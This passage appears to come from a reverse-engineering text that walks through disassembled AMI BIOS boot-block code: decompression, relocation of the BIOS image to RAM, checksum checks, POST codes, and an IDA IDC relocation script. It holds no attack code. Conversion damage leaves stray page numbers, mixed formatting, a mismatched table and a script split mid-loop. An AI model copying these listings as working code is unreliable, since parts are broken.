mov dx, [bp+si+_start_0]
add dx, [bp+si+_weight_0] ; dx = nextcode
cmp [bp+tbl_bitcount], bx
jb short tbl_bitcount_lt_len
mov si, bx
add si, bx
mov ax, [bp+__i]
cmp ax, dx
jb short fill_intrnl_node_tbl
jmp fetch_nextcode

tbl_bitcount_lt_len:
mov si, bx
add si, bx
mov [bp+__i], ax
mov ax, dx
jb short fill_intrnl_node_tbl
jmp fetch_nextcode

fill_intrnl_node_tbl:
mov di, ax
add di, di
add di, word ptr [bp+table]
mov es, word ptr [bp+table+2]
mov cx, dx
sub cx, ax
mov ax, [bp+_ch]
rep stosw
jmp fetch_nextcode

;...
1352:0519  mov   ax, [bp+si+_start_0]
1352:051C  mov   [bp+__k], ax
1352:051F  mov   cl, byte ptr [bp+_jutbits]
1352:0522  shr   ax, cl
1352:0524  add   ax, ax
1352:0526  add   ax, word ptr [bp+table]
1352:0529  mov   word ptr [bp+tbl_idx], ax
1352:052C  mov   ax, word ptr [bp+table+2]
1352:052F  mov   word ptr [bp+tbl_idx+2], ax
1352:0532  mov   di, bx
1352:0534  sub   di, [bp+tbl_bitcount] ; di = i = len - tablebits
1352:0537  jz    short __i_equ_0
1352:0539  mov   [bp+_i], di
1352:053C  mov   [bp+_p], bx
1352:053F  mov   ax, [bp+__current_pos]
1352:0542  add   ax, ax                   ; ax *= 2
1352:0544  mov   cx, ax
1352:0546  mov   ax, offset child_1      ; ax += right[] table
1352:0549  mov   [bp+_child_1_idx], ax
1352:054C  add   cx, offset child_0      ; cx += left[] table
1352:0550  mov   [bp+_child_0_idx], cx
1352:0553  mov   si, word ptr [bp+tbl_idx]
1352:0556  mov   di, [bp+_k]
1352:0559  mov   es, word ptr [bp+table+2] ; es = seg(table[])
1352:055C  next___i:                      ; ...
1352:055C  cmp   word ptr es:[si], 0
1352:0560  jnz   short move_in_tree
1352:0562  mov   bx, [bp+_child_0_idx]
1352:0565  xor   ax, ax
1352:0567  mov   [bx], ax                   ; left_child = 0
1352:0569  mov   bx, [bp+_child_l_idx]
1352:056C  mov   [bx], ax                   ; right_child = 0
1352:056E  mov   ax, [bp+__current_pos]
1352:0571  inc   [bp+__current_pos]
1352:0574  mov   es:[si], ax
1352:0577  add   [bp+_child_1_idx], 2 ; Move to higher node
1352:057B  add   [bp+_child_0_idx], 2 ; Move to higher node
1352:057F  move_in_tree:                  ; ...
1352:057F  test  [bp+_mask], di
1352:0582  jz    short go_left
1352:0584  mov   ax, es:[si]
1352:0587  add   ax, ax
1352:0589  add   ax, offset child_1       ; ax += right[] table
1352:058C  jmp   short move_in_tree_done
1352:058E  ; --------------------------------------------------------------------
1352:058F  go_left:                      ; ...
1352:058F  mov   ax, es:[si]
1352:0591  add   ax, ax
1352:0593  add   ax, offset child_0       ; ax += left[] table

80
1352:0596 move_in_tree_done: ; ...
1352:0598 mov cx, ds
1352:059A mov si, ax
1352:059C assume es:scratch_pad_seg
1352:059E dec [bp__i]
1352:05A1 jnz short next__i
1352:05A3 mov word ptr [bp+tbl_idx+2], es
1352:05A6 mov word ptr [bp+tbl_idx], ax
1352:05A9 mov bx, [bp__p]
1352:05AC __i_equ_0:
1352:05AC mov ax, [bp__ch]
1352:05AF les si, [bp+tbl_idx]
1352:05B2 assume es:nothing
1352:05B2 mov es:[si], ax
1352:05B5 fetch_nextcode: ; ...
1352:05B5 mov si, bx
1352:05B7 add si, bx
1352:05B9 mov [bp+si+_start_0], dx
1352:05BC next__ch:
1352:05BC mov ax, [bp+leaf_count]
1352:05BF inc [bp__ch]
1352:05C2 cmp [bp__ch], ax
1352:05C5 jnb short exit
1352:05C7 jmp init_intrnal_nodes
1352:05CA ; -------------------------------------------------------------
1352:05CA exit: ; ...
1352:05CA pop si
1352:05CB pop di
1352:05CC leave
1352:05CD ret
1352:05CD make_table endp
1352:05CE ; --------------- S U B R O U T I N E -------------------------
1352:05CE ; in:  al = amount of bit to read
1352:05CE ; out: ax = bits read
1352:05CE get_bits proc near ; ...
1352:05CE mov cl, 10h
1352:05D0 sub cl, al
1352:05D2 mov dx, bit_buf
1352:05D4 shr dx, cl
1352:05D6 mov cl, al
The first call to this decompression engine passes `8F98Ch` as the source address parameter and `120000h` as the destination address parameter for the decompression. I made an IDA Pro plugin to simulate the decompression process. It's a trivial but time-consuming
process. However, you might want to "borrow" some codes from the original source code
of the AR archiver that's available freely on the Web to build your own decompressor
plugin. Note that the names of the functions in the AR archiver source code are similar to
the names of the procedures in the preceding disassembly listing. It should be easier for you
to build the decompressor plugin with those hints.

Back to the code: after the compressed part decompressed to memory at 120000h,
the execution continues to copy_decomp_result.

5.2.3.4. BIOS Binary Relocation into RAM

The copy_decomp_result function relocates the decompressed part of the boot
block as shown in the listing 5.34.

Listing 5.34 copy_decomp_result Function

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>8000:A091</td>
<td>lcall init_decomp_engine</td>
<td>On ret, ds = 0</td>
</tr>
<tr>
<td>8000:A094</td>
<td>lcall copy_decomp_result</td>
<td></td>
</tr>
<tr>
<td>8000:A097</td>
<td>lcall call_F000_0000</td>
<td></td>
</tr>
<tr>
<td>8000:A09A</td>
<td>retn</td>
<td></td>
</tr>
<tr>
<td>8000:A09A</td>
<td>decomp_block_entry endp</td>
<td></td>
</tr>
<tr>
<td>8000:A273</td>
<td>copy_decomp_result proc near</td>
<td></td>
</tr>
<tr>
<td>8000:A273</td>
<td>pushad</td>
<td></td>
</tr>
<tr>
<td>8000:A275</td>
<td>call _init_regs</td>
<td></td>
</tr>
<tr>
<td>8000:A278</td>
<td>mov esi, cs:decomp_dest_addr</td>
<td></td>
</tr>
<tr>
<td>8000:A27E</td>
<td>push es</td>
<td></td>
</tr>
<tr>
<td>8000:A27F</td>
<td>push ds</td>
<td></td>
</tr>
<tr>
<td>8000:A280</td>
<td>mov bp, sp</td>
<td></td>
</tr>
<tr>
<td>8000:A282</td>
<td>movzx ecx, word ptr [esi+2]</td>
<td>ecx = hdr_length</td>
</tr>
<tr>
<td>8000:A288</td>
<td>mov edx, ecx</td>
<td>edx = hdr_length</td>
</tr>
<tr>
<td>8000:A28B</td>
<td>sub sp, cx</td>
<td>Provide big stack section</td>
</tr>
<tr>
<td>8000:A28D</td>
<td>mov bx, sp</td>
<td></td>
</tr>
<tr>
<td>8000:A28F</td>
<td>push ss</td>
<td></td>
</tr>
<tr>
<td>8000:A290</td>
<td>pop es</td>
<td></td>
</tr>
<tr>
<td>8000:A291</td>
<td>movzx edi, sp</td>
<td></td>
</tr>
<tr>
<td>8000:A295</td>
<td>push esi</td>
<td></td>
</tr>
<tr>
<td>8000:A297</td>
<td>cld</td>
<td></td>
</tr>
<tr>
<td>8000:A298</td>
<td>rep movs byte ptr es:[edi], byte ptr [esi]</td>
<td>Fill stack with decompressed boot block part</td>
</tr>
<tr>
<td>8000:A298</td>
<td>add esp, ecx</td>
<td></td>
</tr>
<tr>
<td>8000:A29B</td>
<td>pop esi</td>
<td></td>
</tr>
<tr>
<td>8000:A29D</td>
<td>push ds</td>
<td></td>
</tr>
<tr>
<td>8000:A29E</td>
<td>pop es</td>
<td>es = ds (0000h?)</td>
</tr>
<tr>
<td>8000:A29F</td>
<td>movzx ecx, word ptr ss:[bx+0]</td>
<td>ecx number of components to copy</td>
</tr>
<tr>
<td>8000:A29F</td>
<td>add esi, edx</td>
<td>esi points to right after header</td>
</tr>
</tbody>
</table>

83
The `copy_decomp_result` function copies the decompression result from address 120000h to segment F000h. The destination and the source of this operation are provided in the header portion of the decompressed code at address 120000h. This header format is somehow similar to the header format used by the decompression engine module encountered previously. The header is shown in listing 5.35.

**Listing 5.35 Decompression Result Header**

<table>
<thead>
<tr>
<th>Address</th>
<th>Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000:120000</td>
<td><code>dw 1</code>; Number of components</td>
</tr>
<tr>
<td>0000:120002</td>
<td><code>dw 0Ch</code>; Header length of this component</td>
</tr>
<tr>
<td>0000:120004</td>
<td><code>dd 0F0000h</code>; Destination address</td>
</tr>
<tr>
<td>0000:120008</td>
<td><code>dd 485h</code>; Byte count</td>
</tr>
</tbody>
</table>
Then, the execution continues with a call to the procedure at the overwritten part of segment F000h, as shown in listing 5.36.

**Listing 5.36 Calling the Procedure in the Overwritten F000h Segment**

```
Listing 5.36 Calling the Procedure in the Overwritten F000h Segment
8000:A094   call  copy_decomp_result
8000:A097   call  call_F000_0000
            ........
8000:A2EE call_F000_0000 proc near ; ...
8000:A2EE call prepare_sys_BIOS     ; Jump table in system BIOS?
8000:A2F3  halt:           ; ...
8000:A2F3 cli
8000:A2F4 hlt
8000:A2F5 jmp  short halt
8000:A2F5 call_F000_0000 endp

F000:0000 prepare_sys_BIOS proc far ; ...
F000:0000 call Relocate_BIOS_Binary
F000:0005 call Calc_Module_Sum
F000:000A call far ptr Bootblock_POST_D7h
F000:000F retf
F000:000F prepare_sys_BIOS endp
```

The `prepare_sys_BIOS` function in listing 5.36 accomplishes several tasks. First, `prepare_sys_BIOS` copies the BIOS binary from a high BIOS address (near the 4-GB address range) to RAM at segment 16_0000h–19_FFFFh by calling the `Relocate_BIOS_Binary` function. The `Relocate_BIOS_Binary` function also copies the pure code of the BIOS binary (nonpadding bytes) to segment 12_0000h–15_FFPFh. This action is shown in listing 5.37.

**Listing 5.37 Relocating BIOS Binary to RAM**

```
Listing 5.37 Relocating BIOS Binary to RAM
F000:00EA Relocate_BIOS_Binary proc far ; ...
F000:00EA push es
F000:00EB push ds
F000:00EC pushad
F000:00EE mov edi, 120000h
F000:00F4 call _get_sysbios_param     ; On ret: cx = 4
F000:00F4 ;         esi = FFFC_0000h
F000:00F4 ;         carry_flag = 0
F000:00F9 jnb short no_carry          ; jmp taken
F000:00FB mov esi, 0FE000h
F000:0101 mov cx, 2
F000:0104
F000:0104 no_carry:                   ; ...
F000:0104 movzx eax, cx                ; eax = 4
F000:0108 shr eax, 0Eh                 ; eax = 1_0000h
```
F000:010C  mov cs:BIOS_size_in_dword?, eax
F000:0111  mov ecx, eax          ; ecx = 1_0000h
F000:0114  shl eax, 2            ; eax = 4_0000h
F000:0118  mov cs:BIOS_size_in_byte?, eax
F000:011D  xor eax, eax          ; eax = 0
F000:0120  mov ds, ax            ; ds = 0
F000:0122  assume ds:sys_bios
F000:0122  mov es, ax            ; es = 0
F000:0124  push ecx              ; ecx is 1_0000h at this point
F000:0126  dec eax                ; eax = -1 = 0xFFFF_FFFF
F000:0128  rep stos dword ptr es:[edi] ; init 120000h - 15FFFFh with FFh
F000:012C  push ds
F000:012D  push 51h
F000:0130  pop ds
F000:0131  assume ds:_51h
F000:0131  mov BIOS_bin_start_addr, edi
F000:0136  pop ds
F000:0137  assume ds:nothing
F000:0137  pop ecx
F000:0139  push edi
F000:013B  rep movs dword ptr es:[edi], dword ptr [esi] ; copy 256 KB
F000:013B  ; From FFCC_0000h-FFFF_FFFFh to
F000:013B  ; 16_0000h - 19_8000h
F000:013F  pop esi                ; esi = edi = 16_0000h
F000:0141  mov cx, cs:BIOS_seg_count?  ; cx = 4
F000:0146  call get_sysbios_start_addr ; 1st pass: edi = 19_8000h
F000:0149  jz short chk_sysbios_hdr ; 1st pass jmp taken
F000:014B  push ds
F000:014C  push 8000h
F000:014F  pop ds
F000:0150  assume ds:decomp_block
F000:0150  or byte_8000_FFCE, 40h
F000:0155  pop ds
F000:0156  assume ds:nothing
F000:0156  jmp exit
F000:0159  ; ---------------------------------------
F000:0159  chk_sysbios_hdr:        ; ...
F000:0159  mov esi, edi            ; lst pass: edi = 19_8000h
F000:015C  sub edi, cs:BIOS_size_in_byte?
F000:0162  mov ebx, 20h          ; ','
F000:0168  sub edi, ebx
F000:016B  sub esi, ebx
F000:016E  mov ecx, ebx
F000:0171  rep movs byte ptr es:[edi], byte ptr [esi] ; Copy last 20
F000:0171  ; bytes (header) of sys_bios
F000:0171  ; (19_7FE0h - 19_8000h) to
F000:0171  ; (15_7FE0h - 15_8000h)
F000:0174  xor ebx, ebx          ; ebx = 0
F000:0177  next_compressed_component?: ; ...
F000:0177  mov esi, edx
F000:017A  mov  ax, [esi+2]
F000:017E  shl  eax, 10h
F000:0182  mov  ax, [esi]
F000:0185  sub  esi, 8
F000:0189  mov  edi, esi
F000:018C  sub  edi, cs:BIOS_size_in_byte?
F000:0192  mov  ecx, [esi]
F000:0196  test byte ptr [esi+0Fh], 20h
F000:019B  jz  short bit_not_set
F000:019D  add  ebx, ecx
F000:01A0  jmp  short test_lower_bit
F000:01A2 ; ----------------------------------------------------------
F000:01A2 bit_not_set:                    ; ...
F000:01A2 sub  ecx, ebx
F000:01A5 xor  ebx, ebx
F000:01A8 test_lower_bit:                 ; ...
F000:01A8 test byte ptr [esi+0Fh], 40h
F000:01AD  jz  short copy_bytes
F000:01AF xor  ecx, ecx
F000:01B2 copy_bytes:                    ; ...
F000:01B2 add  ecx, 14h
F000:01B6 cmp  ecx, cs:BIOS_size_in_byte?
F000:01BC ja  short padding_bytes_reached?
F000:01BE rep movs byte ptr es:[edi], byte ptr [esi] ; Copy compressed
F000:01BE ; component bytes
F000:01C1 cmp  eax, 0FFFFFFFFh
F000:01C5 jz  short padding_bytes_reached?
F000:01C7 push ds
F000:01C8 push 51h ; 'Q'
F000:01CB pop  ds
F000:01CC assume ds:_51h
F000:01CC mov  esi, BIOS_bin_start_addr
F000:01D1 pop  ds
F000:01D2 assume ds:nothing
F000:01D2 mov  cx, cs:BIOS_seg_count?
F000:01D7 call  get_component_start_addr
F000:01DA jmp  short next_compressed_component?
F000:01DC ; --------------------------------------------------------------
F000:01DC padding_bytes_reached?:        ; ...
F000:01DC mov  esi, 120000h
F000:01ED push esi
F000:01E4 mov  ecx, cs:BIOS_size_in_dword?
F000:01EA xor  ebx, ebx
F000:01ED next_dword:                    ; ...
F000:01ED lods dword ptr [esi]
F000:01F0 add  ebx, eax
Second, the \texttt{prepare.sys BIOS} function checks the checksum of the BIOS binary relocated to segment 12_0000h–15_FFFFh by calling \texttt{Calc_Module_Sum} function. This is actually an 8-bit checksum calculation for the whole BIOS image, as shown in listing 5.38. Note that the aforementioned address range is initialized with FFh values in \texttt{Relocate_BIOS_Binary} function before being filled by the copy of the BIOS binary.

\textbf{Listing 5.38 BIOS Binary Checksum Calculation}

\begin{verbatim}
F000:02CA Calc_Module_Sum proc far ; ...
F000:02CA push ds
F000:02CB pushad
F000:02CD push 0
F000:02CF pop ds
F000:02D0 assume ds:sys_bios
F000:02D0 mov esi, 120000h
F000:02D6 mov cx, cs:BIOS_seg_count?
F000:02DB call get_sysbios_start_addr
F000:02DE jnz short AMIBIOSC_not_found
F000:02E0 mov cx, [edi-0Ah]
F000:02E4 xor eax, eax
F000:02E7 next_lower_dword: ; ...
F000:02E7 add eax, [edi-4]
F000:02EC sub edi, 8
F000:02F0 add eax, [edi]
F000:02F4 loop next_lower_dword
\end{verbatim}

88
Third, the `prepare_sys_BIOS` function validates the compressed AMI system BIOS at `12_0000h` and then decompresses the compressed AMI system BIOS into RAM at segment `1A_0000h` by calling `Bootblock_POST_D7h`. The disassembly of the latter function is shown in listing 5.39.

**Listing 5.39 BIOS Binary Checksum Calculation**

```assembly
F000:0010 Bootblock_POST_D7h proc near    ; ...
F000:0010   mov   al, 0D7h                ; POST code D7h:
F000:0012   out   80h, al                 ; Restore CPUID value back into
F000:0012                                 ; register. The boot block-
F000:0012                                 ; runtime interface module is
F000:0012                                 ; moved to system memory
F000:0012                                 ; and control is given to it.
F000:0012                                 ; Determine whether to execute
F000:0012                                 ; serial flash.
F000:0014 mov   esi, 120000h
F000:001A mov   cx, cs:BIOS_seg_count?
F000:001F mov   bl, 8
F000:0021 call  Chk_SysBIOS_CRC
F000:0024 jz    short chk_sum_ok
F000:0026 jmp   far ptr halt_@_PostCode_D7h
F000:002B ; ------------------------------------------------------------------------
F000:002B chk_sum_ok:
F000:002B mov   esi, ebx
F000:002E xor   edi, edi
F000:0031 xor   ax, ax
F000:0033 mov   ds, ax
F000:0035 assume ds:sys_bios
F000:0035 mov   es, ax
F000:0037 assume es:sys_bios
F000:0037 mov   edi, esi
F000:003A cld
F000:003B lods  word ptr [esi]
F000:003D lods  word ptr [esi]
```

89
F000:003F   movzx eax, ax
F000:0043   add   edi, eax
F000:0046   push  edi
F000:0048   lods  dword ptr [esi]
F000:004B   mov   edi, eax
F000:004E   lods  dword ptr [esi]
F000:0051   mov   ecx, eax
F000:0054   push  esi
F000:0056   mov   edi, eax
F000:0058   lods  dword ptr [esi]
F000:005A   pop   esi
F000:005C   inc   ecx
F000:005D   rep   movs dword ptr es:[edi], dword ptr [esi]
F000:0062   pop   edi
F000:0064   shr   edi, 4                  ; edi = segment addr
F000:0068   mov   cs:interface_seg, di
F000:006D   mov   bl, 1Bh
F000:006F   call  Chk_sysbios_CRC_indirect
F000:0072   jz    short dont_halt_2
F000:0074   jmp   far ptr halt_@_PostCode_D7h
F000:0079 ; ---------------------------------------------
F000:0079 dont_halt_2:                    ; ...
F000:0079   mov   esi, ebx                ; esi = compressed bios modules
F000:0079   mov   edi, 120000h
F000:007C   push  ds
F000:0082   push  0F000h
F000:0085   pop   ds
F000:0086   assume ds:F0000
F000:0087   movzx ecx, BIOS_seg_count?
F000:0089   pop   ds
F000:008A   assume ds:nothing
F000:008E   shl   ecx, 11h
F000:0092   add   edi, ecx                ; edi = bios modules
F000:0092   mov   bx, cs
F000:0094   call  Read_CMOS_B5_B6h
F000:0099   pop   ax
F000:009A   mov   bx, cs
F000:009C   call  dword ptr cs:interface_module ; goto 1352:0000h
F000:00A0A    jmp  far ptr halt_@_PostCode_D7h
F000:00A6 ; ---------------------------------------------
F000:00A6   retf
F000:00A6 ; ---------------------------------------------
F000:00A7   interface_module:                ; ...
F000:00A7   dw 0
F000:00A9   interface_seg dw 1352h ; POST preparation module. It
F000:00A9   contains an LHA decompression
F000:00A9   ; engine.
F000:00A9 ; ---------------------------------------------
F000:00AB ; ---------------------------------------------
In the normal condition, the Bootblock_POST_D7h function shouldn't return. It will continue its execution in the "interface" segment (segment 1352h). The code in the interface segment will decompress the system BIOS and other compressed component and then jump into the decompressed system BIOS to execute POST. I'm building a custom IDA Pro plugin to find the value of this interface segment because it's not easy to calculate it by hand. The interface segment also contains a decompression engine. This "new" decompression engine is the same as the old decompression engine that was overwritten during Bootblock_POST_D7h execution. However, this new decompression engine is located in a higher offset address in the same segment as the old one to accommodate space for the POST preparation functions. Listing 5.39 also shows that the AMI BIOS code document mentioned in the previous section becomes handy when you need to analyze the boot block code, because you can infer the functionality of the code when you encounter a code that emit a POST code to port 80h. The next subsections also use this fact to infer the code within the disassembled BIOS binary.

5.2.3.5. POST Preparation

The interface module is placed at segment 1352h. POST is prepared as shown in listing 5.40.

Listing 5.40 Preparing for POST

```
1352:0000 prepare_for_POST: ; ...
1352:0000   jmp short decompress_sys_bios
............
1352:0011 decompress_sys_bios: ; ...
1352:0011   push edx
1352:0013   push ax
1352:0014   mov al, 0D8h ; '+'
1352:0016   out 80h, al          ; POST D8h:
1352:0016   ; The runtime module is
1352:0016   ; uncompressed into memory.
1352:0016   ; CPUID information is
1352:0016   ; stored in memory.
1352:0018   pop ax
1352:0019   call decompress_component ; Decompress system BIOS
1352:0019   ; 1st pass @in:
1352:0019   ; edi(dest) = 1A_0000h
```
; esi(src) = 12_F690h
; 1st pass @out: esi = 1A_0000h
; ZF = 1
pop edx
jnz short exit_error
push edx
mov al, 0D9h ; '-'
out 80h, al
POST D9h:
; Store the uncompressed
; pointer for future use in
; Power Managed Mode (PMM).
; Copying main BIOS into
; memory. Leaves all RAM below
; 1-MB Read/Write, including
; E000 and F000 shadow areas
; but closing SMRAM.
mov cs:ea_sys_bios_start, esi ; 1st pass: 1A_0000h
call FFh_init_Aseg_Bseg_Eseg
call relocate_bios_modules
call init_PCI_config_regs ; Prepare some PCI config regs
mov al, 0DAh ; '-'
out 80h, al
POST DAh:
; Restore CPUID value back into
; register. Give control to
; BIOS POST(ExecutePOSTKernel).
; See the "POST Code
; Checkpoints" section of the
; document for more details.
pop edx
mov ax, 0F000h
mov ds, ax
assume ds:_F0000
mov gs, ax
assume gs:_F0000
mov sp, 4000h
jmp far ptr Execute_POST ; exec POST
exit_error: retf

decompress_component proc near
    test al, 80h
    ....
    ......
    ; esi = src start addr
    ; edi = dest start addr
    ; al = decompression 'flag'
    ;
    ; out: esi = dest start addr
    ; ZF = set if success otherwise not
    ; ds = 0
    ;
    ; decompress_component proc near
1352:0086  jz    short decompress
1352:0088  push  0
1352:008A  pop   ds
1352:008B  assume ds:sys_bios
1352:008B  jmp   short exit
1352:008D  ; ----------------------------------------
1352:008D  decompress:
1352:008D  ; ...  
1352:008D  push  edi  ; Save decompression dest addr
1352:008F  push  edi                     ; dest addr
1352:0091  push  esi                     ; src addr
1352:0093  call  expand
1352:0096  add   sp, 8  
1352:0099  pop   esi  ; Return decompress dest addr
1352:009B  push  0
1352:009D  pop   ds
1352:009E  exit:                ; ...  
1352:009E  cmp   al, al
1352:00A0  retn
1352:00A0  decompress_component endp
1352:00A1  ; Relocates relevant decompressed BIOS components
1352:00A1  relocate_bios_modules proc near ; ...  
1352:00A1  pushad
1352:00A3  push  es
1352:00A4  push  ds
1352:00A5  mov   bp, sp
1352:00A7  mov   ax, ds
1352:00A9  movzx eax, ax
1352:00AD  shl   eax, 4  ; esi = 1A_0000h ; since ds = 0
1352:00B1  add   esi, eax
1352:00B4  push  0
1352:00B6  pop   ds  ; ds = 0
1352:00B7  movzx ecx, word ptr [esi+2]  ; ecx = 2B4h
1352:00BD  mov   edx, ecx
1352:00C0  sub   sp, cx                ; Reserve stack for "header"
1352:00C2  mov   bx, sp
1352:00C4  push ss
1352:00C5  pop   es                    ; es = ss
1352:00C6  movzx edi, sp
1352:00CA  push   esi
1352:00CC  cld
1352:00CD  rep movs byte ptr es:[edi], byte ptr [esi] ; Move "header" to stack
1352:00CD  pop   esi
1352:00D2  push ds
1352:00D3  pop   es                    ; es = 0
1352:00D4  assume es:sys_bios
1352:00D4  movzx ecx, word ptr ss:[bx+0] ; ecx = 1Eh
1352:00D9  add   esi, edx  ; esi = 1A_02B4h
1352:00DC

93
1352:00DC next_module: ; ...
1352:00DF push ecx
1352:00E1 mov edi, ss:[bx+0] ; edi = ea_dest_seg --> F_0000h
1352:00E5 cmp edi, 0E0000h
1352:00E8 je short dest_below_Eseg ; 1st pass: not taken
1352:00EE cmp edi, cs:ea_dest_seg
1352:00F4 jnb short dest_below_Eseg ; 1st pass: not taken
1352:00F6 mov cs:ea_dest_seg, edi ; ea_dest_seg = F_0000h
1352:00FC dest_below_Eseg: ; ...
1352:00FF add bx, 4
1352:0103 mov ecx, ss:[bx+0] ; ecx = 8001_0000h
1352:010A test ecx, 80000000h
1352:010C and ecx, 7FFFFFFFh ; 1st pass: ecx = 1_0000h
1352:0113 mov edx, ecx
1352:0116 shr ecx, 2 ; ecx / 4
1352:0118 jz short size_is_zero ; 1st pass: jmp not taken
1352:011C rep movs dword ptr es:[edi], dword ptr [esi] ; 1st pass:
1352:011C ; copy 64 KB from (1A_02B4h-1B_02B3h) to F_seg
1352:0120 size_is_zero:
1352:0123 mov ecx, edx
1352:0127 and ecx, 3
1352:0129 rep movs byte ptr es:[edi], byte ptr [esi]
1352:012C no_relocation: ; ...
1352:012E loop next_module
1352:0130 push 0F0000h
1352:0133 pop ds
1352:0134 assume ds:F0000
1352:0135 mov eax, cs:ea_dest_seg
1352:0139 mov dword_F000_8020, eax
1352:013D push 2EF6h
1352:0140 pop ds ; ds = 2EF6h
1352:0144 assume ds:nothing
1352:0145 mov ds:77Ch, eax
1352:014E mov ds:800h, eax
1352:0152 mov sp, bp
1352:0154 pop ds
1352:0155 assume ds:scratch_pad_seg
1352:015E pop es
1352:015F assume es:nothing
1352:0160 popad
1352:0165 retn
The expand function in listing 5.40 decompresses the compressed module within the BIOS. The relocate_bios_modules function in listing 5.40 relocates the decompressed module elements into their respective address ranges. These address ranges are contained in the beginning of the decompressed BIOS modules and are used by relocate_bios_modules to do the relocation. In this case, the starting address of the decompressed BIOS module at this point is 1A_0000h. Thus, the address ranges for the BIOS modules are provided as shown in listing 5.41.

<table>
<thead>
<tr>
<th>Component number</th>
<th>&quot;Header&quot; size (to the start of sys_bios?)</th>
<th>dest seg</th>
<th>size</th>
</tr>
</thead>
<tbody>
<tr>
<td>18h</td>
<td></td>
<td>F000h</td>
<td>10000h (relocated)</td>
</tr>
<tr>
<td>2B4h</td>
<td></td>
<td>13CBh</td>
<td>6C2Fh (relocated)</td>
</tr>
<tr>
<td>2771h</td>
<td></td>
<td>E000h</td>
<td>5AC8h (relocated)</td>
</tr>
<tr>
<td>2771h</td>
<td></td>
<td>13CBh</td>
<td>6C2Fh (relocated)</td>
</tr>
<tr>
<td>80007846h</td>
<td></td>
<td>13CBh</td>
<td>6C2Fh (relocated)</td>
</tr>
<tr>
<td>80006C2Fh</td>
<td></td>
<td>13CBh</td>
<td>6C2Fh (relocated)</td>
</tr>
<tr>
<td>13520h</td>
<td></td>
<td>13520h</td>
<td>789h (NOT relocated)</td>
</tr>
<tr>
<td>789h</td>
<td></td>
<td>261Ch</td>
<td>528h (relocated)</td>
</tr>
<tr>
<td>261Ch</td>
<td></td>
<td>261Ch</td>
<td>528h (relocated)</td>
</tr>
</tbody>
</table>

Listing 5.41 BIOS Modules Memory Mapping
0000:001A0044 dd 40000h ; dest seg = 4000h; size = 5D56h (relocated)
0000:001A0048 dd 80005D56h
0000:001A004C dd 0A8530h ; dest seg = A853h; size = 82FCh (relocated)
0000:001A0050 dd 800082FCh
0000:001A0054 dd 49A90h ; dest seg = 49A9h; size = A29h (relocated)
0000:001A0058 dd 80000A29h
0000:001A005C dd 45D60h ; dest seg = 45D6h; size = 3D28h (relocated)
0000:001A0060 dd 80003D28h
0000:001A0064 dd 0A300h ; dest seg = A30h; size = 50h (relocated)
0000:001A0068 dd 0A300h
0000:001A006C dd 49A90h ; dest seg = 49A9h; size = A29h (relocated)
0000:001A0070 dd 80000A29h
0000:001A0074 dd 400h ; dest seg = 400h; size = 110h (NOT relocated)
0000:001A0078 dd 110h
0000:001A007C dd 510h ; dest seg = 51h; size = 13h (NOT relocated)
0000:001A0080 dd 13h
0000:001A0084 dd 1A8E0h ; dest seg = 1A8Eh; size = 7AD0h (relocated)
0000:001A0088 dd 80007AD0h
0000:001A008C dd 0 ; dest seg = 0h; size = 400h (NOT relocated)
0000:001A0090 dd 400h
0000:001A0094 dd 266F0h ; dest seg = 266Fh; size = 101Fh (relocated)
0000:001A0098 dd 8000101Fh
0000:001A009C dd 2E860h ; dest seg = 2E86h; size = C18h (relocated)
0000:001A00A0 dd 80000C18h
0000:001A00A4 dd 30000h ; dest seg = 3000h; size = 10000h
0000:001A00A8 ; (NOT relocated)
0000:001A00AC dd 10000h
0000:001A00B0 dd 4530h ; dest seg = 453h; size = EF0h
0000:001A00B4 ; (NOT relocated)
0000:001A00B8 dd 0EFF0h
0000:001A00BC dd 0A8300h ; dest seg = A830h; size = 230h (relocated)
0000:001A00C0 dd 80000230h
0000:001A00C4 dd 0E8000h ; dest seg = E800h; size = 8000h
0000:001A00C8 ; (NOT relocated)
0000:001A00CC dd 800000F0h
0000:001A00D0 dd 0A8000h ; dest seg = A800h; size = 200h
0000:001A00D4 ; (NOT relocated)
0000:001A00D8 dd 200h
0000:001A00DC dd 530h ; dest seg = 53h; size = 4000h
0000:001A00E0 ; (NOT relocated)
0000:001A00E4 dd 4000h
0000:001A00E8 dd 0A7500h ; dest seg = A750h; size = 800h
0000:001A00EC ; (NOT relocated)
0000:001A00F0 dd 800h
0000:001A00F4 dd 0C0000h ; dest seg = C000h; size = 20000h
0000:001A00F8 ; (NOT relocated)
As shown in listing 5.41, the sizes of the address ranges that will be occupied by the BIOS modules are encoded. The most significant bit in the size of the module (the 31st bit in the second double word of every entry) is a flag for whether to relocate the respective module. If it is set, then the relocation is carried out; otherwise, it is not. Note that the current segment where the code executes (1352h) is also contained in the address ranges shown earlier. However, that doesn't mean that the current code being executed will be prematurely overwritten, because its respective address range is not functioning, i.e., its 31st bit is not set. Thus, no new code will be relocated into it. To relocate the BIOS modules in this particular AMI BIOS binary, I'm using the IDA Pro script shown in listing 5.42.

Listing 5.42 BIOS Modules Relocation Script

```c
/*
 * relocate_bios_modules.idc
 * Simulation of relocate_bios_module procedure
 * at 1352h:00A0h - 1352h:0158h
 */
#include <idc.idc>

static main(void)
{
    auto bin_base, hdr_size, src_ptr, hdr_ptr, ea_module;
    auto module_cnt, EA_DEST_SEG, module_size, dest_ptr;
    auto str, _eax;

    EA_DEST_SEG = [0x1352, 0x159];
    bin_base = 0x1A0000;
    hdr_size = Word(bin_base+2);
    hdr_ptr = bin_base; /* hdr_ptr = ss:[bx] */
    module_cnt = Word(hdr_ptr); /* ecx = ss:[bx]*/
    src_ptr  = bin_base + hdr_size; /* esi += edx */

    /* next_module */
    while( module_cnt > 0 )
    {
        hdr_ptr = hdr_ptr + 4;
        ea_module = Dword(hdr_ptr);
        if( ea_module >= 0xE0000 )
        {
            if( ea_module < Dword(EA_DEST_SEG) )
            {
                PatchDword(EA_DEST_SEG, ea_module);
            }
        }
    }
}
```

0000:001A00F0   dd 20000h
/* dest_below_Eseg */

hdr_ptr = hdr_ptr + 4;
module_size = Dword(hdr_ptr);

if(module_size & 0x80000000)
{
    module_size = module_size & 0x7FFFFFFF;
    str = form("relocating module: %Xh ; ", ea_module >> 4);
    str = str + form("size = %Xh\n", module_size);
    Message(str);
    SegCreate(ea_module, ea_module + module_size,
                  ea_module >> 4, 0, 0, 0);
    dest_ptr = ea_module;

    while( module_size > 0 )
    {
